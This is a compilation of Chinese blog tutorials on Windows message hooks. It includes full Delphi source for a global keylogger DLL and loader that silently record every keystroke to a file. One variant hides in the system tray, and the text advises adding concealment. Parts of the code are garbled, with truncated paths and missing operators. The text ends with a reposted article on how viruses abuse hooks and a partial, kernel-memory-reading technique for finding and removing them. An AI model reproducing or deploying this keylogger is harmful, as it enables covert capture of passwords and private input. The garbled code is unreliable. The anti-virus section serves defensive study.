5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。
按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,
应用程序必须调用SystemParametersInfo function注册它自己。
以上是13种常用的hook类型!
二. 按使用范围分类,主要有线程钩子和系统钩子
(1) 线程钩子监视指定线程的事件消息。
(2) 系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有的应用程序,
所以钩子函数必须放在独立的动态链接库(DLL)
中。这是系统钩子和线程钩子很大的不同之处。
几点需要说明的地方:
(1) 如果对于同一事件(如鼠标消息)既安装了线程钩子又安装了系统钩子,那么系统会自动先
调用线程钩子,然后调用系统钩子。
(2) 对同一事件消息可安装多个钩子处理过程,这些钩子处理过程形成了钩子链。当前钩子处理结束后应把钩子
信息传递给下一个钩子函数。而且最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。
(3) 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩子,在使用完毕后要及时卸载。
编写钩子程序
编写钩子程序的步骤分为三步:定义钩子函数、安装钩子和卸载钩子。
1.定义钩子函数
钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。不
同事件的钩子函数的形式是各不相同的。下面以鼠标钩子函数举例说明钩子函数的原型:
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信息,
比如是否从消息队列中移出。 我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx.
把钩子信息传递给钩子链的下一个钩子函数。CallNextHookEx.的原型如下:
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
参数 hhk是钩子句柄。nCode、wParam和lParam 是钩子函数。
当然也可以通过直接返回TRUE来丢弃该消息,就阻止了该消息的传递。
2.安装钩子
在程序初始化的时候,调用函数SetWindowsHookEx安装钩子。其函数原型为:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
参数idHook表示钩子类型,它是和钩子函数类型一一对应的。比如,WH_KEYBOARD表示安装的是键盘钩子,
WH_MOUSE表示是鼠标钩子等等。
Lpfn是钩子函数的地址。
HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。
dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。
SetWindowsHookEx返回所安装的钩子句柄。
3.卸载钩子
当不再使用钩子时,必须及时卸载。简单地调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)即可。

值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。线程钩子一般在当前线程或者当前线程派生的线程内,
而系统钩子必须放在独立的动态链接库中,实现起来要麻烦一些。
Delphi – 关于钩子函数HOOK (3)
系统挂钩捕捉键盘操作
在WINDOWS系统下,应用程序常常要截获其他程序的消息,并加以处理(例如跟踪键盘或鼠标的按键状况等)。
现在,我们假设在前台进行正常操作,在后台利用HOOK程序为系统安装一个键盘挂钩,当有按键操作时,
系统发给键盘挂钩对应的消息,而这些消息被HOOK程序截获,并加以相应的处理,这样就可以监视键盘的使用状况了。
一.实现方法
DELPHI提供了强大的可视化集成开发环境,它使得在Windows下的应用程序开发变得更加广泛,
因此我们将用DELPHI编写一个动态链接库,然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下:
* 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL
* 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE
二.实现步骤
1.创建动态链接库
* 选择FILE菜单中的NEW选项,选择DLL产生一个新的模板,保存为HK.DPR
library HK .
uses
SysUtils,
Classes,
hkproc in ‘hkproc.pas’; //挂钩函数在文件中的定义
exports //DLL的输出函数
EnableHotKeyHook,
DisableHotKeyHook;

begin
hNextHookProc :=0;
Assign(f,’c:.txt’);//将捕获的键值存入C盘的“code.txt”文件中
Reset(f); //初始化“code.txt”文件
procSaveExit := ExitProc; //DLL释放时解除挂钩
ExitProc := @HotKeyHookExit;
end.
* 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS
unit hkproc;
interface
uses
Windows,Messages;
var
f :file of char;
c:char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function KeyboardHookHandler(iCode : Integer;
wParam : WPARAM;
lParam : LPARAM) : LRESULT; stdcall export;
function EnableHotKeyHook : BOOL export
function DisableHotKeyHook : BOOL; export
procedure HotKeyHookExit far
implementation
function KeyboardHookHandler(iCode : Integer;
WParam : WPARAM;
lParam : LPARAM) : LRESULT stdcall export;
const
_KeyPressMask = $80000000
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,
wParam,lParam);
Exit;
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam+32);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam);
end;
end;
end
else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam+32);
end;
end;
end;
seek(f,FileSize(f));
write(f,c); //将捕获的键码存入文件
end;
end;
function EnableHotKeyHook:BOOL;export;
begin
Result:=False;
if hNextHookProc 0 then exit;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
KeyboardHookHandler,Hinstance,0);
Result:=hNextHookProc 0
end;
function DisableHotKeyHook:BOOL; export;
begin
if hNextHookPRoc 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc:=0;
Messagebeep(0);
Messagebeep(0);
end;
Result:=hNextHookPRoc=0;
end;

procedure HotKeyHookExit;
begin
if hNextHookProc 0 then DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc:=procSaveExit;
end;
end.
* 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:”目录下。
2.创建调用DLL的EXE程序HOOK.EXE
* 选择FILE菜单中的NEW选项,在New Items窗口中,选择Application选项。在窗体Form中,加入两个按键,
一个定义为挂钩,另一个定义为解脱,同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“c:.pas”,其相应的代码如下:

unit hk;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function EnableHotKeyHook : BOOL;external ‘HK.dll’;
//声明HOOK . DLL中的两函数
function DisableHotKeyHook :BOOL;external ‘HK.dll’;
procedure TForm1.Button1Click(Sender: TObject);
begin
if EnableHotKeyHook() then
begin
edit1.text :=’设置挂钩’
end
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if DisableHotKeyHook() then
begin
edit1.Text :=’挂钩解脱’
end
end;
end.
* 选取Views菜单中的Project Source,将Project1存为“c:.dpr”,其代码如下:

program hook;
uses
Forms,
hk in ‘hk.pas’ {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
* 编译生成HOOK.EXE 程序并存入“c:”目录下。预先用“记事本”在“c:”目录下建立CODE.TXT文件,
运行HOOK程序并单击“挂钩”键,文本框提示“设置系统挂钩”,这时启动写字板等应用程序,所键入的字
母和数字将被记录在CODE.TXT文件中。
单击“解脱”键,文本框显示“挂钩解脱”,程序将停止对键盘的捕获。
点击示意图
三. 结束语
将上述例子稍加改动,就可为系统安装其他类型的挂钩,同时为了增强程序的隐蔽性,可利用DELPHI中丰富的控件,
将上述程序运行后,只需在屏幕右下部时钟处显示一个图标,就可以跟踪键盘等系统部件的工作状况了。
在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,
一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的
任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的
具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现:
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗
口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;
如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。
1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下:
library keyspy;
uses
windows, messages, hookproc in ‘hookproc.pas’;
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在Hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename=’c:.txt’;//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,’);
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc0 then endkeyhook;
exitproc:=procsaveexit; end;
end.
二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数
Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、
改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。
当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。
unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external ‘keyspy.dll’;
function endkeyhook:bool;external ‘keyspy.dll’;
procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;
procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags :=0;
shell_notifyicon(nim_delete,@nid);
end;
procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;
该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、
用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。
该程序在Win98、Delphi4.0中正常运行。

[转载]VC++消息钩子编程 - 智锋互联官方技术博客 - 博客频道 - CSDN.NET

mikel阅读(936)

来源: [转载]VC++消息钩子编程 – 智锋互联官方技术博客 – 博客频道 – CSDN.NET一、消息钩子的概念
1、基本概念
Windows应用程序是基于消息驱动的,任何线程只要注册窗口类都会有一个消息队列用于接收用户输入的消息和系统消息。为了拦截消息,Windows提 出了钩子的概念。钩子(Hook)是Windows消息处理机制中的一个监视点,钩子提供一个回调函数。当在某个程序中安装钩子后,它将监视该程序的消 息,在指定消息还没到达窗口之前钩子程序先捕获这个消息。这样就有机会对此消息进行过滤,或者对Windows消息实现监控。
2、分类
消息钩子分为局部钩子和全局钩子。局部钩子是指仅拦截指定一个进程的指定消息,全局钩子将拦截系统中所有进程的指定消息。
3、实现步骤
使用钩子技术拦截消息通常分为如下几个步骤:

  •     设置钩子回调函数;(拦截到消息后所调用的函数)
  •     安装钩子;(使用SetWindowsHookEx函数)
  •     卸载钩子。(使用UnhookWindowsHookEx函数)

    4、功能
利用消息钩子可以实现特效界面、同步消息、监控消息、自启动等功效。

二、病毒对消息钩子技术的利用
计算机病毒经常利用消息钩子实现两种功能:
1、监控用户按键,盗取用户信息。
这样的病毒会启动一个常驻内存的EXE病毒进程,然后安装一个全局键盘消息钩子,钩子回调函数位于病毒进程中,这样系统中任何有按键操作的进程,其按键详细信息都会被病毒进程拦截记录。
2、自启动
这样的病毒会将钩子回调函数放在一个DLL文件中,然后安装一个全局消息(容易触发的消息,如WH_CBT、WH_GETMESSAGE等)钩子,这样凡响应该消息的进程都会自动加载病毒的DLL,病毒也就跟着自动运行了。

三、消息钩子病毒的对抗技术(重点)
1、对抗技术原理
对付消息钩子病毒方法很简单,只要将病毒安装的钩子卸载掉即可。(注意:对于系统中许多进程已经因为全局钩子而加载了病毒DLL的情况,并不需要去卸载这些DLL,只要安装的消息钩子被卸载那么对应的DLL也都会被在这些进程中自动卸载。)卸载钩子有两种方法:
(1)、结束掉安装钩子的进程
将设置钩子的进程结束,进程在退出之前会自行卸载掉该进程安装的所有消息钩子。这种方法很适合对付监控用户按键的病毒。
(2)、获得消息钩子句柄,然后调用UnhookWindowsHookEx函数即可将消息钩子卸载。
如果病毒单独启动了一个病毒进程安装了一个全局消息钩子,然后就常驻内存。这时我们将这个病毒进程结束掉即可。但是如果病毒在系统进程中注入代码而安装的 钩子,这样钩子句柄就位于系统进程中,我们不可以结束系统进程,这时就只能获取这个消息钩子句柄,然后调用函数卸载。
2、对抗技术实现细节
对于结束掉安装钩子进程从而卸载病毒消息钩子的方法很容易实现,只要找到病毒进程结束即可。而对于获取病毒消息钩子句柄,然后调用函数卸载钩子的方法比较复杂,也是本文重点讨论的内容,将在下一个标题中详细介绍。

四、查找病毒消息钩子句柄然后卸载的方法实现(重点、难点)
1、实现原理分析
系统会将所有安装的钩子句柄保存在内核中,要查找病毒安装的消息钩子句柄,我们要枚举所有的消息钩子句柄。如何枚举稍后讲解,还要解决一个问题,就是在枚举过程中,我们怎么知道哪个句柄是病毒安装的呢?
通过分析病毒样本我们通常可以得到病毒安装钩子就是为了令其他合法进程加载病毒DLL,所以它会将钩子回调函数写在该DLL中。在枚举消息钩子句柄时,同 时也可以得到该句柄所对应的回调函数所属的DLL模块,根据这个DLL模块是不是病毒的DLL模块即可找到病毒的消息钩子句柄,最后将其卸载即可。
关于如何枚举系统消息钩子句柄,对于不同的操作系统方法大不相同,这里介绍一种用户层读内存的方法,此方法仅在2000/XP系统下可用。
在2000/XP系统下有一个Windows用户界面相关的应用程序接口User32.dll。它用于包括Windows窗口处理,基本用户界面等特性, 如创建窗口和发送消息。当它被加载到内存后,它保存了所有Windows窗口、消息相关的句柄,其中就包括消息钩子句柄。这些句柄被保存在一块共享内存段 中,通常称为R3层的GUI TABLE。所以只要我们找到GUI TABLE,然后在其中的句柄中筛选出消息钩子句柄。GUI TABLE这块内存段可以被所有进程空间访问。GUI TABLE被定义成如下结构:
typedef struct tagSHAREDINFO {
struct tagSERVERINFO *pServerInfo;  //指向tagSERVERINFO结构的指针
struct _HANDLEENTRY *pHandleEntry;  // 指向句柄表
struct tagDISPLAYINFO *pDispInfo;  //指向tagDISPLAYINFO结构的指针
ULONG ulSharedDelta;
LPWSTR pszDllList;
} SHAREDINFO, *PSHAREDINFO;
tagSHAREDINFO结构体的第一个成员pServerInfo所指向的tagSERVERINFO结构体定义如下。
typedef struct tagSERVERINFO {
short wRIPFlags ;
short wSRVIFlags ;
short wRIPPID ;
short wRIPError ;
ULONG cHandleEntries;          //句柄表中句柄的个数
}SERVERINFO,*PSERVERINFO;
可以看出通过tagSERVERINFO结构的cHandleEntries成员即可得到tagSHAREDINFO结构的pHandleEntry成员所指向的句柄表中的句柄数。
tagSHAREDINFO结构体的第二个成员pHandleEntry是指向_HANDLEENTRY结构体数组起始地址的指针,该数组的一个成员对应一个句柄。句柄结构体_HANDLEENTRY定义如下。
typedef struct _HANDLEENTRY{
PVOID  pObject;            //指向句柄所对应的内核对象
ULONG  pOwner;
BYTE  bType;               //句柄的类型
BYTE  bFlags;
short  wUniq;
}HANDLEENTRY,*PHANDLEENTRY;
_HANDLEENTRY结构体成员bType是句柄的类型,通过该变量的判断可以筛选消息钩子句柄。User32中保存的句柄类型通常有如下种类。
typedef enum  _HANDLE_TYPE
{
TYPE_FREE = 0,
TYPE_WINDOW = 1 ,
TYPE_MENU = 2,                     //菜单句柄
TYPE_CURSOR = 3,                   //光标句柄
TYPE_SETWINDOWPOS = 4,
TYPE_HOOK = 5,                     //消息钩子句柄
TYPE_CLIPDATA = 6  ,
TYPE_CALLPROC = 7,
TYPE_ACCELTABLE = 8,
TYPE_DDEACCESS = 9,
TYPE_DDECONV = 10,
TYPE_DDEXACT = 11,
TYPE_MONITOR = 12,
TYPE_KBDLAYOUT = 13   ,
TYPE_KBDFILE = 14    ,
TYPE_WINEVENTHOOK = 15  ,
TYPE_TIMER = 16,
TYPE_INPUTCONTEXT = 17  ,
TYPE_CTYPES = 18         ,
TYPE_GENERIC = 255
}HANDLE_TYPE;
_HANDLEENTRY结构体的成员pObject是指向句柄对应的内核对象的指针。
这样只要通过pObject就可以得到句柄的详细信息(其中包括创建进程,线程、回调函数等信息),通过bType就可以的值句柄的类型。
_HANDLEENTRY结构体的其他成员可以忽略不看。
(知识要点补充:如何在用户层程序中读取内核内存)
需要注意的是,pObject指针指向的是内核内存,不可以在用户层直接访问内核内存。后面还有些地方也同样是内核内存,需要加以注意。应该把内核内存的数据读取到用户层内存才可以访问。且不可以直接访问,毕竟不是在驱动中。
在用户层读取内核内存使用ZwSystemDebugControl函数,它是一个Native API。其原型如下。
NTSYSAPI
NTSTATUS
NTAPI
ZwSystemDebugControl(
IN DEBUG_CONTROL_CODE ControlCode,//控制代码
IN PVOID InputBuffer OPTIONAL,    //输入内存
IN ULONG InputBufferLength,    //输入内存长度
OUT PVOID OutputBuffer OPTIONAL,  //输出内存
IN ULONG OutputBufferLength,    //输出内存长度
OUT PULONG ReturnLength OPTIONAL  //实际输出的长度);
ZwSystemDebugControl函数可以用于读/写内核空间、读/写MSR、读/写物理内存、读/写IO端口、读/写总线数据、KdVersionBlock等。由第一个参数ControlCode控制其功能,可以取如下枚举值。
typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,
// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,
//获取KdVersionBlock
SysDbgSysGetVersion = 7,
//从内核空间复制到用户空间,或者从用户空间复制到用户空间
//但是不能从用户空间复制到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,
//从用户空间复制到内核空间,或者从用户空间复制到用户空间
//但是不能从内核空间复制到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,
//从物理地址复制到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,
//从用户空间复制到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,
//读/写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,
//读/写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,
//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,
//读/写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,
SysDbgSysCheckLowMemory = 20,
// 以下是NT 5.2 新增的
//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,
//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;
我们这里要读取内核内存,所以参数ControlCode应取值为SysDbgReadVirtualMemory。
当ControlCode取值为SysDbgReadVirtualMemory时,ZwSystemDebugControl函数的第4个参数和第5个 参数被忽略,使用时传入0即可。第二个参数InputBuffer是一个指向结构体_MEMORY_CHUNKS的指针,该结构体定义如下。
typedef struct _MEMORY_CHUNKS {
ULONG Address;      //内核内存地址指针(要读的数据)
PVOID Data;         //用户层内存地址指针(存放读出的数据)
ULONG Length;      //读取的长度
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;
第三个参数InputBufferLength是_MEMORY_CHUNKS结构体的大小。使用sizeof运算符得到即可。
SysDbgReadVirtualMemory函数执行成功将返回0。否则返回错误代码。
为了方便使用,我们可以封装一个读取内核内存的函数GetKernelMemory,实现如下:
#define SysDbgReadVirtualMemory 8
//定义ZwSystemDebugControl函数指针类型
typedef DWORD (WINAPI *ZWSYSTEMDEBUGCONTROL)(DWORD,PVOID,
DWORD,PVOID,DWORD,PVOID);
BOOL GetKernelMemory(PVOID pKernelAddr, PBYTE pBuffer, ULONG uLength)
{
MEMORY_CHUNKS mc ;
ULONG uReaded = 0;
mc.Address=(ULONG)pKernelAddr;  //内核内存地址
mc.pData = pBuffer;//用户层内存地址
mc.Length = uLength;       //读取内存的长度
ULONG st  = -1 ;
//获得ZwSystemDebugControl函数地址
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = (ZWSYSTEMDEBUGCONTROL) GetProcAddress(
GetModuleHandle(“ntdll.dll”), “ZwSystemDebugControl”);
//读取内核内存数据到用户层
st = ZwSystemDebugControl(SysDbgReadVirtualMemory, &mc, sizeof(mc), 0, 0, &uReaded);
return st == 0;
}

对于不同类型的句柄,其内核对象所属内存对应的结构体不同,对于消息钩子句柄,它的内核对象所属内存对应的结构体实际上是_HOOK_INFO类型,其定义如下。
typedef struct _HOOK_INFO
{
HANDLE hHandle; //钩子的句柄
DWORD Unknown1;
PVOID Win32Thread; //一个指向 win32k!_W32THREAD 结构体的指针
PVOID Unknown2;
PVOID SelfHook; //指向结构体的首地址
PVOID NextHook; //指向下一个钩子结构体
int iHookType; //钩子的类型。
DWORD OffPfn; //钩子函数的地址偏移,相对于所在模块的偏移
int iHookFlags; //钩子标志
int iMod; //钩子函数做在模块的索引号码,利用它可以得到模块基址
PVOID Win32ThreadHooked; //被钩的线程结构指针
} HOOK_INFO,*PHOOK_INFO;
由上可以看出,得到钩子内核对象数据后,该数据对应HOOK_INFO结构体信息。其中:
hHandle是钩子句柄,使用它就可以卸载钩子。
iHookType是钩子的类型,消息钩子类型定义如下。
typedef enum  _HOOK_TYPE{
MY_WH_MSGFILTER = -1,
MY_WH_JOURNALRECORD = 0,
MY_WH_JOURNALPLAYBACK = 1,
MY_WH_KEYBOARD = 2,
MY_WH_GETMESSAGE = 3,
MY_WH_CALLWNDPROC = 4,
MY_WH_CBT = 5,
MY_WH_SYSMSGFILTER = 6,
MY_WH_MOUSE = 7,
MY_WH_HARDWARE = 8,
MY_WH_DEBUG = 9,
MY_WH_SHELL = 10,
MY_WH_FOREGROUNDIDLE = 11,
MY_WH_CALLWNDPROCRET = 12,
MY_WH_KEYBOARD_LL = 13,
MY_WH_MOUSE_LL = 14
}HOOK_TYPE;
OffPfn是钩子回调函数的偏移地址,该偏移地址是相对于钩子函数所在模块基址的偏移。
Win32Thread是指向_W32THREAD结构体的指针,通过这个结构体可以获得钩子所在进程ID和线程ID。该结构体定义如下。
typedef struct _W32THREAD
{
PVOID    pEThread ;    //该指针用以获得进程ID和线程ID
ULONG   RefCount ;
ULONG  ptlW32 ;
ULONG  pgdiDcattr ;
ULONG   pgdiBrushAttr ;
ULONG   pUMPDObjs ;
ULONG    pUMPDHeap ;
ULONG    dwEngAcquireCount ;
ULONG    pSemTable ;
ULONG    pUMPDObj ;
PVOID ptl;
PVOID ppi;            //该指针用以获得模块基址
}W32THREAD, *PW32THREAD;
_W32THREAD结构体第一个参数pEThread指向的内存偏移0x01EC处分别保存着进程ID和线程ID。注意pEThread指针指向的内存是内核内存。
_W32THREAD结构体最后一个参数ppi指向的内存偏移0xA8处是所有模块基址的地址表,   _HOOK_INFO结构体的iMod成员就标识了本钩子所属模块基址在此地址表中的位置。(每个地址占4个字节)所以通常使用 ppi+0xa8+iMod*4定位模块基址的地址。注意ppi指向的内存是内核内存。
2、实现细节
首先编写程序枚举消息钩子句柄,需要得到GUI TABLE,它的地址实际上存储于User32.dll的一个全局变量中,该模块导出的函数UserRegisterWowHandlers将返回该全局 变量的值。所以我们只要调用这个函数就能够得到GUI TABLE。然而UserRegisterWowHandlers是一个未公开的函数,不确定它的函数原型,需要反汇编猜出它的原型。笔者反汇编后得到的 原型如下。
typedef PSHAREDINFO (__stdcall *USERREGISTERWOWHANDLERS) (PBYTE ,PBYTE );
仅知道它两个参数是两个指针,但是不知道它的两个参数的含义,所以我们无法构造出合理的参数。如果随便构造参数传进去又会导致user32.dll模块发 生错误。所以通过调用这个函数接收其返回值的方法就不能用了。再次反汇编该函数的实现可以看出,在不同操作系统下该函数的最后三行代码如下。
2K系统:(5.0.2195.7032)
:77E3565D B880D2E477 mov eax, 77E4D280
:77E35662 C20800 ret 0008
XP系统:(5.1.2600.2180)
:77D535F5 B88000D777 mov eax, 77D70080
:77D535FA 5D pop ebp
:77D535FB C20800 ret 0008
2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777 mov eax, 77E724C0
:77E514DE C9 leave
:77E514DF C2080000 ret 0008
可以看到共同点,该函数的倒数第三行代码就是将保存GUI TABLE指针的全局变量值赋值给寄存器EAX,只要我们想办法搜索到这个值即可。能够看出无论是哪个版本的函数实现中,都有 C20800代码,含义是ret 0008。我们可以自UserRegisterWowHandlers函数的入口地址开始一直搜索到C20800,找到它以后再向前搜索B8指令,搜到以 后B8指令后面的四个字节数据就是我们需要的数据。代码如下。
//获得UserRegisterWowHandlers函数的入口地址
DWORD UserRegisterWowHandlers = (DWORD) GetProcAddress(LoadLibrary(“user32.dll”), “UserRegisterWowHandlers”);
PSHAREDINFO pGUITable;  //保存GUITable地址的指针
for(DWORD i=UserRegisterWowHandlers; i<UserRegisterWowHandlers+1000; i++)
{
if((*(USHORT*)i==0x08c2)&&*(BYTE *)(i+2)== 0x00)
{     //已找到ret 0008指令,然后往回搜索B8
for (int j=i; j>UserRegisterWowHandlers; j–)
{   //找到B8它后面四个字节保存的数值即为GUITable地址
if (*(BYTE *)j == 0xB8)
{
pGUITable = (PSHAREDINFO)*(DWORD *)(j+1);
break;
}
}break;
}
}
得到SHAREDINFO结构指针后,它的成员pServerInfo的成员cHandleEntries就是句柄的总个数,然后循环遍历每一个句柄,找到属于指定模块的消息钩子句柄。代码如下。
int iHandleCount = pGUITable->pServerInfo->cHandleEntries;
HOOK_INFO HookInfo;
DWORD dwModuleBase;
struct TINFO
{
DWORD dwProcessID;
DWORD dwThreadID;
};
char cModuleName[256] = {0};
for (i=0; i<iHandleCount; i++)
{              //判断句柄类型是否为消息钩子句柄
if (pGUITable->pHandleEntry[i].bType == TYPE_HOOK)
{
DWORD dwValue = (DWORD)pGUITable->pHandleEntry[i].pObject;
//获得消息钩子内核对象数据
GetKernelMemory(pGUITable->pHandleEntry[i].pObject, (BYTE *)&HookInfo, sizeof(HookInfo));
W32THREAD w32thd;
